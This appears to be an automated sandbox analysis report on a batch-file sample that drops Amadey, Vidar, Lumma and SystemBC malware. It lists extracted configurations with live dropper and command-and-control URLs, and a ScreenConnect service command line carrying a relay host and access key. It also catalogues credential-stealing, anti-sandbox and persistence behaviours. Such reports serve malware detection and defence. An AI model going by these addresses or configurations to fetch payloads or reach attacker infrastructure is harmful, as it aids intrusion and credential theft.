amadey | 1824be1799f0c32c14c5fcb3c5d34c98b9fb4d2b867067b8ddc3d129783812fe

Analysis

max time kernel
149s
max time network
151s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26/02/2025, 23:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

quarantine/am_no.bat
Size

2KB
MD5

189e4eefd73896e80f64b8ef8f73fef0
SHA1

efab18a8e2a33593049775958b05b95b0bb7d8e4
SHA256

598651a10ff90d816292fba6e1a55cf9fb7bb717f3569b45f22a760849d24396
SHA512

be0e6542d8d26284d738a33df3d574d9849d709d091d66588685a1ac30ed1ebef48a9cc9d8281d9aeebc70fed0ddae22750cd253ec6b89e78933de08b0a09b74

Score

10^/10

amadey lumma systembc vidar 092155 a4d2cd ir7am credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

vidar

Botnet

ir7am

https://t.me/l793oy

https://steamcommunity.com/profiles/76561199829660832

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Extracted

Family

amadey

Version

5.21

Botnet

a4d2cd

http://cobolrationumelawrtewarms.com

http://�� jlgenfekjlfnvtgpegkwr.xyz

Attributes

install_dir
a58456755d
install_file
Gxtuum.exe
strings_key
00fadbeacf092dfd58b48ef4ac68f826
url_paths
/3ofn3jf3e2ljk/index.php

rc4.plain

Extracted

Family

systembc

towerbingobongoboom.com

93.186.202.3

Attributes

dns
5.132.191.104

Extracted

Family

lumma

https://paleboreei.biz/api

https://collapimga.fun/api

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Vidar Stealer 27 IoCs

stealer

resource	yara_rule
behavioral13/memory/2156-78-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-81-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-76-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-74-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-72-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-83-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-236-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-257-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-262-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-283-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-286-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-325-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-350-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-354-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-355-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-379-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-469-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-494-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-491-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-518-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-536-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-570-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-596-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-637-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-658-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/2156-769-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral13/memory/1284-802-0x0000000004A10000-0x0000000004D23000-memory.dmp	family_vidar_v7

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc
Systembc family
systembc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	E3WGlpL.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bgUvqLl.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Y9WG5Ep.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2536	powershell.exe
127	76908	Process not Found
128	89396	Process not Found

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2392	powershell.exe
2576	powershell.exe
2616	powershell.exe
87112	Process not Found
87580	Process not Found
88268	Process not Found
2536	powershell.exe
76908	Process not Found
89396	Process not Found

Downloads MZ/PE file 21 IoCs

flow	pid	Process
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
7	1284	rapes.exe
4	2536	powershell.exe
127	76908	Process not Found
128	89396	Process not Found
132	106220	Process not Found

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\ScreenConnect Client (3be09d9e5e840c20)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (3be09d9e5e840c20)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=bbcnas2.zapto.org&p=8041&s=6b3c9f2e-719d-4888-b6ab-03b40b2eb090&k=BgIAAACkAABSU0ExAAgAAAEAAQBdpn0O4B1VqMLUD0QDsNyYTlq4tRTm9ACUnnSMesFZALDh%2bLgBUwyTJ9D684SXejMRZmxv0Ws0vI2HDF%2f3pgx%2bIGwSyAZ%2fcl0w71rKbKyIIKYDZKbnkGgXvWGAi3ZyQp5OOPPQACb3KOn3dbHGC7zVR4YxQG18q4ph%2fyqoczab4g1p0ctN9m9IinVuQ4spX2nQNInOfCqxjvWdinItao7pk9fPOEV6qP3zSVfOwlnLHbRaASXeN%2fudvdB8e5o68h%2bjKG6VwXtszNJDCo7VtQqZmoYLmAVq9dmcJjckjVt0p%2bJPysj6usBrEV3AzT%2ff7W%2bYHYQ0svZBekSGOWFY8kLf&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAU5OaUtE1TkuAPjiKumW%2bygAAAAACAAAAAAAQZgAAAAEAACAAAAAw8RLkaTVVS0QGmN%2fM62zkgh9ftEh44PE3JHHXJtDipQAAAAAOgAAAAAIAACAAAACPBk%2bV%2fR9PfcVr1ydNe6gmddRXwrPIU63zMEqNkV9OEaAEAADkYLVoGIM9DRzerSW1TZY%2fgfpc3yStncNb33ZhAkVqx9hVIoelHdIVD2TFgDbSdBFfP7S1W%2fzDzL3rwGjKBzLDmyRlsn41P%2f6bSTbhir7oo38FDgwESeKnMLLzQuRVg8UePm1sIQRXfA1bipCyvR6N04xh8qZ9w6EVzdzWbLFzjRRXpgT6%2fqpL4vF43WRtAjYqO%2baQDl24hLl5YGkBYFge%2fDZqninCMzoXPz4AfN7UoPI%2bXuLoiRy5rmcIQgnZ%2fgPKj6IFaOEhhaKCOSsStmQQce%2bCCCjR6PTjpxsYXKgvy71VkyM7YLPoRyQ9b11LOvmGEM2LtIo8uTBWcOS%2bF%2bPMFAueAd%2f2Deb56tBV0kpb7zPze1gmtXFLmdCrjC1g6IRzBzXEHm4l5wlVDZobdu9am3sYzGIJnKhcW6VaP97C%2bryQe1nAVv6sv2ce7ObKssir8pk4Rq4gq095H%2bWddEXU1LV5WEAntcWwPB0MMJ74hCEc9Fg6hz7ajU7GIpVVL592XOZ%2fAu4NLctY9hwN5nQ3ScGwuQ84argdU%2bRtndXpMMDao%2fnd2gcl%2fUC7tUDbKQ0H1yHdNDg8tOyUixEuVJo4Jn8LGez7YcoHOG2FDEfNN26KeA8skipszJfMrUt0pAST4YQ2CcHuhsdRC1cNvwf8XFLY8OiKrQRimzoKTF1pDWAkasqfci38vKWqTegNq6Nj0RdX6gVgXNuyi85bo%2fbQ%2b0Y%2fVdgVmggfEycegt2GK%2fjT4MpCXlBn5%2bja89OoAdm%2bID196i%2b%2b1AdDJVkPZEqbmAYXrkaZEVHZYvXWod4ztdu1YGg6qdR3a4SV%2bB5aIUL0y3HcKqczWtdwtvpb53boFrGlQU47Utrsem0XZBGTGNw2xhbISH5fESXSMCdK6FLMKI8Omr9I%2fv6InZuQVSS4kJnhC2TkTV%2b9ZserhBFcMoFzhMMooMmabslTLftw3rd82uuv8scOf9Xp%2b8ah7LD9dcWMSb9iKN88ZpnUAnSHjVDBMLxfcdel5%2fHYmACo5JTKaWFN%2fqmFGNzQyyKvzLHw6a%2byWANedvG2XXQpUnSe6HBgPa%2bxVrKjikrxIba2LMyzDGrw660KKKwl0AF7mzUhbwByYjaJfZweXtnEWizmfNmNSvRxT42HhvJ517imA%2beK2IrxcupOQ2uuiJPG1UzqsobBQTVBMMD0PW2xXdTmwbLdRqPqGqBEnoBwu7MR2QG0BwuHyirumqilhZ3bXovitTDSjP2LwI5p1rhqpngYyEkt%2bqddkYG%2fOzgkYmVkJkEYwlQ4b4mo9qZ77tcVXCATjDr8jGdRR%2bvcKfvzd1ZZJSmbf4CiNlTGzPBYeZVgigk%2bvqa7r7YJHMWK8bXp34cPiaiZ%2fuPObdiPXOK3dChMWLvle%2fp8r0aj4DBPuRENHJAHCcs5%2fwJitYQS7UGvyJJsCCQFWE6ZPYu13bUHI0faYuRmSEYHnDGtmIOzGiTAu4PyOPCXlvB0wtEVIUPYsl1N3EubzyeBKlF5PznZolmm5iWq2tDANPrloBvThdLTDp6AmePl0wDEsSHLm4X2fBBNYDHJX831tYqENrkK9aQCbkAAAABbkiKYWXUMRxwRufr7i9O0T32%2bpBGj8gSywdehmhuJurcDKFNYT8P5bmAUhN2Y3BjUbD01Qu2%2fbKEuvoJFPfhi&c=test&c=&c=&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

Uses browser remote debugging 2 TTPs 4 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
2680	chrome.exe
1600	chrome.exe
2536	chrome.exe
1960	chrome.exe

Checks BIOS information in registry 2 TTPs 14 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bgUvqLl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Y9WG5Ep.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	E3WGlpL.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bgUvqLl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Y9WG5Ep.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	E3WGlpL.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 64 IoCs

pid	Process
1708	483d2fa8a0d53818306efeb32d3.exe
1284	rapes.exe
2092	q3na5Mc.exe
2388	q3na5Mc.exe
2156	q3na5Mc.exe
1736	bgUvqLl.exe
1768	Y9WG5Ep.exe
848	57028ffad4.exe
1380	57028ffad4.exe
2476	E3WGlpL.exe
2868	6NPpGdC.exe
1028	6NPpGdC.exe
2304	VBUN8fn.exe
1552	67e0HNq.exe
2712	xqWgymz.exe
2880	ScreenConnect.ClientService.exe
1836	Dyshh8M.exe
2260	Dyshh8M.exe
1316	Dyshh8M.exe
2784	Dyshh8M.exe
892	Dyshh8M.exe
2284	Dyshh8M.exe
1528	Dyshh8M.exe
2560	Dyshh8M.exe
1044	Dyshh8M.exe
1040	Dyshh8M.exe
2536	Dyshh8M.exe
1708	Dyshh8M.exe
2568	Dyshh8M.exe
1448	Dyshh8M.exe
1572	Dyshh8M.exe
2400	Dyshh8M.exe
324	Dyshh8M.exe
2500	Dyshh8M.exe
1552	Dyshh8M.exe
988	Dyshh8M.exe
2744	Dyshh8M.exe
568	Dyshh8M.exe
2652	Dyshh8M.exe
2480	Dyshh8M.exe
1688	Dyshh8M.exe
2208	Dyshh8M.exe
1752	Dyshh8M.exe
1980	Dyshh8M.exe
1540	Dyshh8M.exe
2460	Dyshh8M.exe
2824	Dyshh8M.exe
1732	Dyshh8M.exe
3064	Dyshh8M.exe
2992	Dyshh8M.exe
2476	Dyshh8M.exe
1964	Dyshh8M.exe
3016	Dyshh8M.exe
2748	Dyshh8M.exe
1280	Dyshh8M.exe
2684	Dyshh8M.exe
2676	Dyshh8M.exe
320	Dyshh8M.exe
1988	Dyshh8M.exe
1132	Dyshh8M.exe
2932	Dyshh8M.exe
2244	Dyshh8M.exe
1396	Dyshh8M.exe
2432	Dyshh8M.exe

Identifies Wine through registry keys 2 TTPs 7 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	bgUvqLl.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	Y9WG5Ep.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	E3WGlpL.exe

Loads dropped DLL 64 IoCs

pid	Process
1708	483d2fa8a0d53818306efeb32d3.exe
1284	rapes.exe
2092	q3na5Mc.exe
2092	q3na5Mc.exe
1080	WerFault.exe
1080	WerFault.exe
1080	WerFault.exe
1080	WerFault.exe
1080	WerFault.exe
1284	rapes.exe
1284	rapes.exe
1284	rapes.exe
1284	rapes.exe
1284	rapes.exe
848	57028ffad4.exe
2360	WerFault.exe
2360	WerFault.exe
2360	WerFault.exe
2360	WerFault.exe
2360	WerFault.exe
1284	rapes.exe
1284	rapes.exe
1284	rapes.exe
2868	6NPpGdC.exe
2716	WerFault.exe
2716	WerFault.exe
2716	WerFault.exe
2716	WerFault.exe
2716	WerFault.exe
1284	rapes.exe
1284	rapes.exe
1224	MsiExec.exe
1664	rundll32.exe
1664	rundll32.exe
1664	rundll32.exe
1664	rundll32.exe
1664	rundll32.exe
1664	rundll32.exe
1664	rundll32.exe
1664	rundll32.exe
1664	rundll32.exe
1284	rapes.exe
2592	MsiExec.exe
996	MsiExec.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
1284	rapes.exe
1836	Dyshh8M.exe
1836	Dyshh8M.exe
1836	Dyshh8M.exe
1836	Dyshh8M.exe
1836	Dyshh8M.exe
1836	Dyshh8M.exe
1836	Dyshh8M.exe
1836	Dyshh8M.exe
1836	Dyshh8M.exe
1836	Dyshh8M.exe
1836	Dyshh8M.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\cb4d3138f3.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10036500101\\cb4d3138f3.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\7fc0d1d799.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10035810101\\7fc0d1d799.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10035820121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\0d88a612ec.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10036490101\\0d88a612ec.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral13/files/0x000500000001c31e-1086.dat	autoit_exe
behavioral13/files/0x000500000001c8d5-1218.dat	autoit_exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800330062006500300039006400390065003500650038003400300063003200300029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3be09d9e5e840c20)\hoalmz5c.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3be09d9e5e840c20)\hoalmz5c.newcfg	ScreenConnect.ClientService.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs

pid	Process
1736	bgUvqLl.exe
1768	Y9WG5Ep.exe
2476	E3WGlpL.exe
105500	Process not Found
106220	Process not Found
130148	Process not Found
130484	Process not Found

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2092 set thread context of 2156	2092	q3na5Mc.exe	49
PID 848 set thread context of 1380	848	57028ffad4.exe	69
PID 2868 set thread context of 1028	2868	6NPpGdC.exe	76
PID 29688 set thread context of 29776	29688	Process not Found	3543

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\Client.en-US.resources	msiexec.exe

Drops file in Windows directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI44BF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4685.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\f784339.ipi	msiexec.exe
File created	C:\Windows\Tasks\Gxtuum.job	Process not Found
File created	C:\Windows\Tasks\Test Task17.job	Process not Found
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File opened for modification	C:\Windows\Installer\f784338.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI448F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{933D173F-6496-0F7D-53C4-FF46268B901A}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\f784338.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\{933D173F-6496-0F7D-53C4-FF46268B901A}\DefaultIcon	msiexec.exe
File created	C:\Windows\Tasks\rapes.job	483d2fa8a0d53818306efeb32d3.exe
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File created	C:\Windows\Installer\f784339.ipi	msiexec.exe
File created	C:\Windows\Installer\wix{933D173F-6496-0F7D-53C4-FF46268B901A}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\f78433b.msi	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
1080	2092	WerFault.exe	47
2360	848	WerFault.exe	68
2716	2868	WerFault.exe	75
29840	29688	Process not Found	3531
71452	62020	Process not Found	7563

System Location Discovery: System Language Discovery 1 TTPs 53 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	57028ffad4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
